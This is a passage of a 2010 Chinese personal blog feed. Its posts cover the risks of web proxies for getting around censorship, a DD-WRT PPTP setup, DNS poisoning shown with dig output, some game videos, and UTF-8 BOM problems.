被屏蔽或拦截。公开网页代理的网址通常广为人知，可能被屏蔽。私人网页代理需要使用者在未屏蔽地区有联系人。网络运行商可以拦截未经加密的网页代理通讯内容，所以关键词过滤对未加密网页代理可能依然有效。&lt;br /&gt;&lt;br /&gt;网页代理使用者需要记住，网页代理提供者可以读取自己的通讯内容，记录使用网页代理的IP地址。如果这些信息会给你带来危险，你应该谨慎选择网页代理。&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;什么是网页代理（WEB PROXY）？&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;有的被屏蔽网站在本地 无法直接访问，你可以通过网页代理访问。通常，网页代理都有一个表单，你可以在表单里提交想要访问的网址。然后网页代理就会显示你要的页面，但是不会让你和被请求网站之间建立直接联系。&lt;br /&gt;&lt;br /&gt;在使用网页代理时，你不需要安全 软件或改变计算机设置。相反，你首先找到网页代理的网址 ，然后输入你想要访问的网址，接着点击"提交"按钮（或类似按钮）。任何计算机都可以使用网页代理，包括网吧里的计算机。&lt;br /&gt;&lt;br /&gt;免费网页代理包括 CGIProxy， PHProxy以及Zelune等。所有网页代理都提供相同的基本功能，但有些代理的特定功能（比如访问视频）更强。&lt;br /&gt;&lt;br /&gt;你可以从 &lt;a href="http://www.peacefire.org/circumventor/"&gt;http://www.peacefire.org/circumventor/&lt;/a&gt; 加入邮件列表 ，或在任何一个搜索引擎里搜索"免费网页代理"，然后就可以找到类似 &lt;a href="http://www.proxy.org/"&gt;http://www.proxy.org/&lt;/a&gt; 这样的网页代理。 Proxy.org逐一列出了数千个免费的网页代理。&lt;br /&gt;&lt;br /&gt;（如果你所在的国家不限制网络访问，并且你愿意帮助其他人绕开审查，你可以在自己的网站或家庭计算机上安装一个网页代理脚本。）&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;使用网页代理的风险&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;你应该意识到使用网页代理存在着一些风险，尤其当你使用网页代理是由那些你不甚了解的组织和人员所维护时，这种风险会很大，如果你使用代理来浏览美国国 家公共电台 npr.org这样的公共站点时，你面临的唯一风险只是有人可能会知道你正在使用代理浏览这个站点上的新闻。但是如果你使用代理来进行私人通信或者登录网 页邮箱，网上银行，和网上购物这类应用时，别人可能会盗取并滥用你的个人信息，其中包括个人密码。尤其当你使用的这些服务本身未对信息加密，或者你使用的 代理阻不准你对信息的加密，这种可能性会更大。&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;缺乏隐私&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;规避过滤和封锁的系统并不一定具备匿名性（尽管这些系统的名称中可能会包含"匿名"这类的字样！）。如果你与网页代理之间链接并没有加密（很多免费 网页代理就是这样的），代理的运营者或者像互联网服务提供商（ISP）的中间人都可截取并分析通信的内容。在这种情况下，虽然你成功的绕过了封锁，但是网 络运营商还是可以知道你正在使用网页代理，而且还可以知道你所访问的网站以及内容。&lt;br /&gt;&lt;br /&gt;那些对链接并不加密的网页带有时候也会使用其他的方式来规避网络过滤。比如，它们使用的一个简单技术就是ROT-13，这类代理会把当前网址链接中 的字母用标准字母表中的字母按照一定规则替换掉。（你可以访问 http://www.rot13.com/ 自己尝试一下），当用ROT-13规则转换后， http://ice.citizenlab.org 网址就变成了uggc://vpr.pvgvmrayno.bet，它可以让关键词过滤器无法识别。这可以帮助你访问目标站点，不过它的弱点也很明显：会 话（session）的内容仍然可以起被侦测到，而且使用这种方法加密的网址很容易就会被反向破解出来。&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TP7vylL3cpI/AAAAAAAAAdY/2lVt678DUuk/s1600/netspy_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TP7vylL3cpI/AAAAAAAAAdY/2lVt678DUuk/s1600/netspy_1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;广告，病毒以及恶意软件&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;一些人架设网页代理是为了赚钱。他们可以网页上出售广告，而然一些不良的代理运营者会使用恶意软件来感染用户的计算机。这类恶意软会劫持你的计算机来发送垃圾邮件和商业广告，甚至用于其他非法目的。&lt;br /&gt;&lt;br /&gt;而确保你计算机免受病毒侵害的一个重要方法就是保持软件的更新（其中包括操作系统的更新），以及使用最新的杀毒软件。你也可以使用火狐浏览器的 广告屏蔽插件 AdBlockPlus来屏蔽广告。 ( &lt;a href="http://www.adblockplus.org/"&gt;http://www.adblockplus.org/&lt;/a&gt; ).要想了解更多避免此类风险的信息，用户可以访问StopBadware ( &lt;a href="http://www.stopbadware.org/"&gt;http://www.stopbadware.org&lt;/a&gt;/ )网站。ATunnel.com网站的运营者就是通过出售广告来提供免费服务的。它是一个典型的依靠广告支撑的代理服务器。&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Cookie和脚本&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cookie和脚本的使用也有风险。用户可以禁止掉许多站点的Cookie和脚本，但是其他许多站点（比如像MySpace这类的社交站点）也需要使用 Cookie和脚本。在开启这些此类选项时要小心，因为即便你重启后，Cookie也会保存在计算机中，所以别人可以通过cookie知道你访问了哪些站 点。应对此问题的一个办法就是有选择的使用Cookie。在火狐3.0版本的浏览器中，你可以告诉浏览器在浏览器关闭之后自动清除Cookie，（同样 的，你也可以告诉浏览器在关闭之后自动清除你的浏览记录）&lt;br /&gt;&lt;br /&gt;一些站点和广告商甚至使用这一机制来追踪你使用代理的时段。如果你想保持网络访问的匿名性，这个问题可是一个不小的麻烦，因为这会给你留下一些把柄。比如，别人可以知道公开访问某个站点的人与匿名访问其他站点的人是同一个人。&lt;br /&gt;&lt;br /&gt;最后要提醒读者牢记：代理运营者可以看到一切内容&lt;br /&gt;&lt;br /&gt;尽管你与这些网页代理之间链接是安全的（加过密的），但是代理的所有者在信息解密之后还是可以看到你的内容的。另一个安全方面的顾虑就越是代理提供者可能会保留的日志文件。当局可能会获得这些日志文件，但是具体如何，这要取决于代理提供者和代理服务器所处的地区。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-1713163645729469873?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/1713163645729469873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=1713163645729469873' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1713163645729469873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1713163645729469873'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/blog-post_08.html' title='使用网页代理翻墙的优点和风险'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Lr7AKaVWcQI/TP7vylL3cpI/AAAAAAAAAdY/2lVt678DUuk/s72-c/netspy_1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-820556537933202046</id><published>2010-12-08T10:15:00.001+08:00</published><updated>2010-12-08T10:43:48.305+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VPN'/><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><title type='text'>dd-wrt pptp设置</title><content type='html'>一直以来都希望让家里的电脑能永远保持互联的状态，前几天买了台路由器刷DD－WRT，终于能够如愿。&lt;br /&gt;&lt;br /&gt;自己用的版本是v24 sp2。开始打算使用openvpn，不过这样就成了三层的VPN。L2TP又没有看到可以设置的，最后决定用PPTP。&lt;br /&gt;&lt;br /&gt;不过也不是那么顺利，看了无数人十分高效的成功经验后，我的PPTP还是无法正常工作。终于，昨晚在搞了很久以后，发现只要只要将PPTP里面的强制认证关闭就可以了⋯⋯真无奈⋯⋯&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-820556537933202046?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/820556537933202046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=820556537933202046' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/820556537933202046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/820556537933202046'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/dd-wrt-pptp.html' title='dd-wrt pptp设置'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-4167345755804296639</id><published>2010-12-06T09:20:00.000+08:00</published><updated>2010-12-06T09:20:04.844+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><title type='text'>不错的介绍DNS的视频</title><content type='html'>非常易懂～当然，是在你英语听力没问题的前提下&lt;br /&gt;&lt;object width="640" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/AdOmiewp2kw?fs=1&amp;amp;hl=zh_CN"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/AdOmiewp2kw?fs=1&amp;amp;hl=zh_CN" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-4167345755804296639?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/4167345755804296639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=4167345755804296639' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4167345755804296639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4167345755804296639'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/dns.html' title='不错的介绍DNS的视频'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-3296064103379344856</id><published>2010-12-02T09:53:00.002+08:00</published><updated>2010-12-02T09:53:50.808+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><title type='text'>TAS-FC《合金装备（潜龙谍影）》23分33秒77 最速通关</title><content type='html'>Metal Gear 早期在FC上的版本。这个游戏我很小的时候就开始玩儿，无奈英语看不懂，完全没法玩儿……&lt;br /&gt;&lt;embed src="http://player.youku.com/player.php/sid/XMjI2NjA2MjE2/v.swf" quality="high" width="480" height="400" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-3296064103379344856?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/3296064103379344856/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=3296064103379344856' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3296064103379344856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3296064103379344856'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/tas-fc233377.html' title='TAS-FC《合金装备（潜龙谍影）》23分33秒77 最速通关'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-9143506921932001035</id><published>2010-12-01T11:32:00.000+08:00</published><updated>2010-12-01T11:32:29.658+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><title type='text'>异型对铁血战士连技讲解视频</title><content type='html'>国外的玩家制作的介绍《异性对铁血战士》连招视频。这个游戏在中国不火，不过自己在模拟器上玩儿过，觉得还是很有意思的&lt;br /&gt;&lt;embed src="http://player.youku.com/player.php/sid/XMjI2MTU4MDg0/v.swf" quality="high" width="480" height="400" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-9143506921932001035?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/9143506921932001035/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=9143506921932001035' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/9143506921932001035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/9143506921932001035'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/12/blog-post.html' title='异型对铁血战士连技讲解视频'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-3205460336158482837</id><published>2010-11-30T16:08:00.003+08:00</published><updated>2010-11-30T16:19:39.242+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><title type='text'>OpenDNS和Google DNS，不一定真的适合我们</title><content type='html'>为什么不用？用了解析速度快，能防ISP劫持，能翻墙，能这能那。真的是这样吗？&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;1.大家最关注的，翻墙，防止DNS被劫持。&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;资深不资深的玩家肯定都知道某墙的事情。用了OpenDNS之类后，真的能防止被某墙劫持域名吗？恐怕太小看某墙了吧。只要是DNS的UDP包经过旁路设备，直接就会被篡改。不信？看看结果&lt;br /&gt;&lt;br /&gt;正常请求一个被劫持的域名，当然是劫持没商量了&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;$ dig hen.bao.li &lt;br /&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.6.0-APPLE-P2 &amp;lt;&amp;lt;&amp;gt;&amp;gt; hen.bao.li &lt;br /&gt;;; global options: +cmd &lt;br /&gt;;; Got answer: &lt;br /&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 50859 &lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 &lt;br /&gt;;; QUESTION SECTION: ;hen.bao.li. IN A &lt;br /&gt;;; ANSWER SECTION: hen.bao.li. 85697 IN A 78.16.49.15 &lt;br /&gt;;; Query time: 0 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) &lt;br /&gt;;; WHEN: Mon Dec  7 23:18:48 2009 &lt;br /&gt;;; MSG SIZE  rcvd: 44&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;$ dig hen.bao.li&lt;br /&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.6.0-APPLE-P2 &amp;lt;&amp;lt;&amp;gt;&amp;gt; hen.bao.li&lt;br /&gt;;; global options: +cmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 50859&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;hen.bao.li. IN A&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;hen.bao.li. 85697 IN A 78.16.49.15&lt;br /&gt;;; Query time: 0 msec&lt;br /&gt;;; SERVER: 127.0.0.1#53(127.0.0.1)&lt;br /&gt;;; WHEN: Mon Dec  7 23:18:48 2009&lt;br /&gt;;; MSG SIZE  rcvd: 44&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;然后再看用了Google Public DNS后，照样劫持你没商量 &lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;$ dig @8.8.8.8 hen.bao.li &lt;br /&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.6.0-APPLE-P2 &amp;lt;&amp;lt;&amp;gt;&amp;gt; @8.8.8.8 hen.bao.li &lt;br /&gt;; (1 server found) &lt;br /&gt;;; global options: +cmd &lt;br /&gt;;; Got answer: &lt;br /&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 15485 &lt;br /&gt;;; flags: qr aa rd ra&lt;br /&gt;; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 &lt;br /&gt;;; QUESTION SECTION: ;hen.bao.li. IN A &lt;br /&gt;;; ANSWER SECTION: hen.bao.li. 86400 IN A 78.16.49.15 &lt;br /&gt;;; Query time: 75 msec &lt;br /&gt;;; SERVER: 8.8.8.8#53(8.8.8.8) &lt;br /&gt;;; WHEN: Mon Dec  7 23:20:58 2009 &lt;br /&gt;;; MSG SIZE  rcvd: 54&lt;/pre&gt;&lt;/blockquote&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;我们看看国外机器得出的真实结果 &lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;# dig @8.8.8.8 hen.bao.li &lt;br /&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.3.4-P1 &amp;lt;&amp;lt;&amp;gt;&amp;gt; @8.8.8.8 hen.bao.li &lt;br /&gt;; (1 server found) &lt;br /&gt;;; global options:  printcmd &lt;br /&gt;;; Got answer: &lt;br /&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 20845 &lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 &lt;br /&gt;;; QUESTION SECTION: ;hen.bao.li. IN A &lt;br /&gt;;; ANSWER SECTION: hen.bao.li. 14400 IN A 69.163.142.44 &lt;br /&gt;;; Query time: 252 msec &lt;br /&gt;;; SERVER: 8.8.8.8#53(8.8.8.8) &lt;br /&gt;;; WHEN: Mon Dec  7 23:25:12 2009 &lt;br /&gt;;; MSG SIZE  rcvd: 44&lt;/pre&gt;&lt;/blockquote&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;可以看到，此路不通。想靠换国外DNS来翻墙的可以醒醒了。   2.解析速度快 Google DNS解析速度是挺快的，但OpenDNS就未必了 &lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;$ dig @208.67.222.222 http://www.dnspod.com &lt;br /&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.6.0-APPLE-P2 &amp;lt;&amp;lt;&amp;gt;&amp;gt; @208.67.222.222 http://www.dnspod.com &lt;br /&gt;; (1 server found) &lt;br /&gt;;; global options: +cmd &lt;br /&gt;;; Got answer: &lt;br /&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 17404 &lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0 &lt;br /&gt;;; QUESTION SECTION: ;www.dnspod.com. IN A &lt;br /&gt;;; ANSWER SECTION: http://www.dnspod.com. 600 IN CNAME http://www.dnspod.com.cdnudns.com. http://www.dnspod.com.cdnudns.com. 300 IN A 61.172.249.96 http://www.dnspod.com.cdnudns.com. 300 IN A 218.244.147.137 &lt;br /&gt;;; Query time: 608 msec &lt;br /&gt;;; SERVER: 208.67.222.222#53(208.67.222.222) &lt;br /&gt;;; WHEN: Mon Dec  7 23:29:01 2009 &lt;br /&gt;;; MSG SIZE  rcvd: 101&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;3.最重要的问题，访问网站真的快吗？&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;相信不少人一定记得之前QQ用户出现过一次“免费出国”，当然，现在这个情况也会出现在用了OpenDNS和Google Public DNS用户的身上。  大家都知道中国特色的互联网，南北分家，互访速度巨慢无比，网站的维护人员绞尽脑汁的想办法解决互联互通的问题，加速大家的网站访问速度。  网站加速访问有好几种办法，有钱的大公司就用BGP AnyCast，但并不是人人都做得起（有自己的IP段，做一次BGP广播X-XX万，要达到最佳访问效果必须要做N次BGP广播，最后费用有可能达到 XXX万）。没钱的公司就只能用智能DNS了，包括自建的DNS，或者直接用DNSPod这样的现成方案，其实原理都一样。&lt;br /&gt;&lt;br /&gt;智能DNS其实并不是太智能，它靠的预先分配好几个区域，然后根据用户请求的IP来判断用户属于哪个区域，之后返回对应区域的服务器IP。正常情况下，用户在国内上网，用的是ISP自动分配的DNS，用户域名解析请求发给ISP的DNS，ISP的DNS又发给DNSPod这样的域名授权DNS。 DNSPod这时候拿到的IP地址基本是ISP的DNS地址，所以很方便的就能判断出用户所在的区域，并把结果返回给用户。  但如果这个时候，用户用的是OpenDNS或者Google DNS，因为这些服务器的IP地址是在国外，并且N多老外都在用，智能DNS就不好判断该怎么返回了。返回国外的IP，影响国内用户的访问速度。如果返回国内的IP，影响到其他老外的访问速度。并且如果返回国内的IP，那么该到底返回电信还是网通的IP呢？用户属于哪个省份？无从判断。那么最后只能人多决定人少，返回国外的服务器IP。  返回国外IP的结果是，用户被指向网站在国外的服务器，访问网站巨慢。  本来想找几个典型例子的，但找了一圈回来，发现国内的大公司在这上面烧钱可是一点都不心痛，全部是BGP。要么就是不搭理国外用户，没针对国外用户单独进行解析，一概解析到电信的服务器去。&lt;br /&gt;&lt;br /&gt;拿Google来当例子吧。我是网通用户，使用网通自带的DNS，解析www.google.com得到以下结果 &lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;$ dig http://www.google.com&lt;br /&gt;...省略部分内容...&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;http://www.google.com.  48102 IN CNAME http://www.l.google.com.&lt;br /&gt;http://www.l.google.com. 300 IN A 216.239.61.104&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;如果我用了OpenDNS的话，那么我得到下面的结果&amp;nbsp; &lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;$dig @208.67.222.222 http://www.google.com&lt;br /&gt;...省略部分内容...&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;http://www.google.com.  30 IN CNAME google.navigation.op&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;4. 怎么使用？&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;那么到底这两个DNS服务器有没有办法是用呢？有！这是一个肯定的回答。&lt;br /&gt;&lt;br /&gt;首先，被污染的域名返回的地址在一个范围内，据我自己的收集在10个IP左右。首先向本地的DNS请求，当返回结果在这些地址中时，再通过代理的方式取得结果&lt;br /&gt;&lt;br /&gt;或者使用类似autoproxy的方式，匹配列表的域名通过代理，其余均直接使用本地服务器解析。而我自己开发的smartVPN就是使用这种方式工作，收到正确的地址后再加入到路由走VPN，达到最节省VPN流量的目的。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-3205460336158482837?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/3205460336158482837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=3205460336158482837' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3205460336158482837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3205460336158482837'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/opendnsgoogle-dns.html' title='OpenDNS和Google DNS，不一定真的适合我们'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-1257342039177976529</id><published>2010-11-28T10:49:00.013+08:00</published><updated>2010-11-30T11:30:18.933+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unsorted'/><title type='text'>UTF-8、Unicode和BOM问题</title><content type='html'>经常遇到的问题是，使用了BOM编码后，PHP脚本执行错误，或使用fileStream读取并转换为XML会报错"The markup in the  document following the root element must be well-formed."。&lt;a href="http://www.blogger.com/post-create.g?blogID=8518521158278941755" name="entrymore"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;一、介绍&lt;/span&gt;&lt;br /&gt;UTF-8 是一种在web应用中经常使用的一种 Unicode 字符的编码方式，使用 UTF-8 的好处在于它是一种变长的编码方式，对于 ANSII 码编码长度为1个字节，这样的话在传输大量 ASCII 字符集的网页时，可以大量节约网络带宽。&lt;br /&gt;&lt;br /&gt;UTF- 8签名（UTF-8 signature）也叫做BOM（Byte Order  Mark），是UTF编码方案里用于标识编码的标准标记。BOM，是UTF编码方案里用于标识编码的标准标记，在UTF-16里本来是FF  FE，变成UTF-8就成了EF BB  BF。这个标记是可选的，因为UTF8字节没有顺序，所以它可以被用来检测一个字节流是否是UTF-8编码的。微软做这种检测，但有些软件不做这种检测， 而把它当作正常字符处理。微软在自己的UTF-8格式的文本文件之前加上了EF BB BF三个字节,  windows上面的notepad等程序就是根据这三个字节来确定一个文本文件是ASCII的还是UTF-8的, 然而这个只是微软暗自作的标记,  其它平台上并没有对UTF-8文本文件做个这样的标记。也就是说一个UTF-8文件可能有BOM，也可能没有BOM。&lt;br /&gt;&lt;br /&gt;只有一个BOM，是不会有问题的。如果多个文件设置了签名，在二进制流中就会包含多个UTF-8签名，也就是导致XML转换失败的"root element must be well-formed"原因。&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;二、查看和转换&lt;/span&gt;&lt;br /&gt;既然一个UTF-8文件可能有BOM，也可能没有，那该如何区分呢？&lt;br /&gt;&lt;br /&gt;只要用带十六进制编辑方式的软件，例如，用UltraEdit-32打开文件，切换到十六进制编辑模式，察看文件头部是否有EF BB BF。有，则为带BOM方式。&lt;span style="color: red;"&gt;Windows自带的notepad记事本，保存为UTF-8时，默认就带BOM。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;转换的方法有很多，常见的UltraEdit-32或NotePad++都可以，以UltraEdit-32为例。打开文件后，选择“另存为”，在“格式”一栏中有如下选择：&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TPHC5y4THOI/AAAAAAAAAdU/UvC5qnBA5dM/s1600/no_leech.gif" imageanchor="1" ref="lightbox" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TPHC5y4THOI/AAAAAAAAAdU/UvC5qnBA5dM/s1600/no_leech.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br 